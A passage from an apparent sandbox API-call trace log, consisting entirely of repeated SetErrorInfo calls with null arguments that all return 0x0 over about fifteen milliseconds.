returned 0x0 [0046.740] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.740] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.740] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.740] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.740] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.740] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.740] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.740] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.740] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.740] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.740] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.741] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.741] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.741] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.741] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.741] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.741] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.741] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.741] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.741] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.741] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.741] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.741] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.741] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.741] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.741] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.741] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.741] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.741] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.741] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.741] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.741] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.741] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.741] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.741] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.742] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.742] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.742] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.742] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.742] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.742] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.742] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.742] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.742] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.742] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.742] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.742] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.742] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.742] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.742] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.742] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.742] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.742] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.742] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.743] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.743] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.743] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.743] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.743] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.743] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.743] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.743] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.743] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.743] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.743] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.743] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.743] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.743] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.743] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.743] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.743] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.743] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.743] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.744] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.744] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.744] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.744] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.744] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.744] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.744] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.744] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.744] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.744] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.744] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.744] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.744] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.744] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.744] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.744] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.744] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.744] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.744] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.744] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.744] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.744] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.744] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.744] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.744] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.745] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.745] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.745] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.745] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.745] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.745] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.745] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.745] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.745] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.745] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.745] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.745] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.745] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.745] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.745] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.745] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.745] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.745] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.745] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.746] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.746] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.746] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.746] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.746] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.746] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.746] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.746] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.746] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.746] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.746] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.746] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.746] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.746] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.746] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.746] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.746] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.746] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.746] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.746] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.746] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.746] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.746] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.746] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.746] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.747] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.747] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.747] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.747] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.747] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.747] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.747] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.747] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.747] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.747] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.747] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.747] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.747] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.747] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.747] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.747] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.747] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.747] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.748] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.748] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.748] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.748] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.748] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.748] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.748] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.748] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.748] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.748] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.748] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.748] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.748] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.748] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.748] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.748] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.748] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.748] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.748] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.748] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.748] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.748] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.748] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.748] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.748] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.748] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.749] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.749] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.749] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.749] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.749] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.749] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.749] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.749] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.749] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.749] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.749] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.749] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.749] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.749] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.749] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.749] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.749] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.749] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.749] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.749] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.749] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.749] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.749] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.749] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.749] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.750] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.750] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.750] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.750] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.750] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.750] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.750] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.750] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.750] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.750] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.750] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.750] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.750] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.750] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.750] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.750] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.750] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.750] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.750] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.750] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.750] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.750] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.750] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.750] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.750] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.751] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.751] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.751] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.751] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.751] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.751] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.751] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.751] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.751] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.751] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.751] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.751] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.751] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.751] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.751] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.751] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.751] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.751] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.751] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.752] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.752] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.752] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.752] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.752] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.752] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.752] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.752] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.752] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.752] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.752] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.752] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.752] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.752] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.752] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.752] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.752] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.752] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.752] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.752] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.752] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.752] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.752] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.752] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.752] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.753] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.753] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.753] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.753] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.753] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.753] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.753] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.753] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.753] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.753] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.753] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.753] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.753] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.753] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.753] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.753] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.753] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.753] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.753] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.753] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.753] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.753] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.753] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.753] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.753] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.753] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.753] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.754] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.754] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.754] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.754] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.754] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.754] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.754] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.754] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.754] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.754] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.754] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.754] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.754] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.754] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.754] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.754] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.754] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.754] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.754] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.754] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.754] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.754] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.754] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.754] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.754] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.754] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.754] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.754] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.754] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.755] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.755] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.755] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.755] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.755] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.755] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.755] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.755] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.755] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.755] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.755] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.755] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.755] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.755] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.755] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.755] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.755] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.755] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.755] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.755] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.755] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 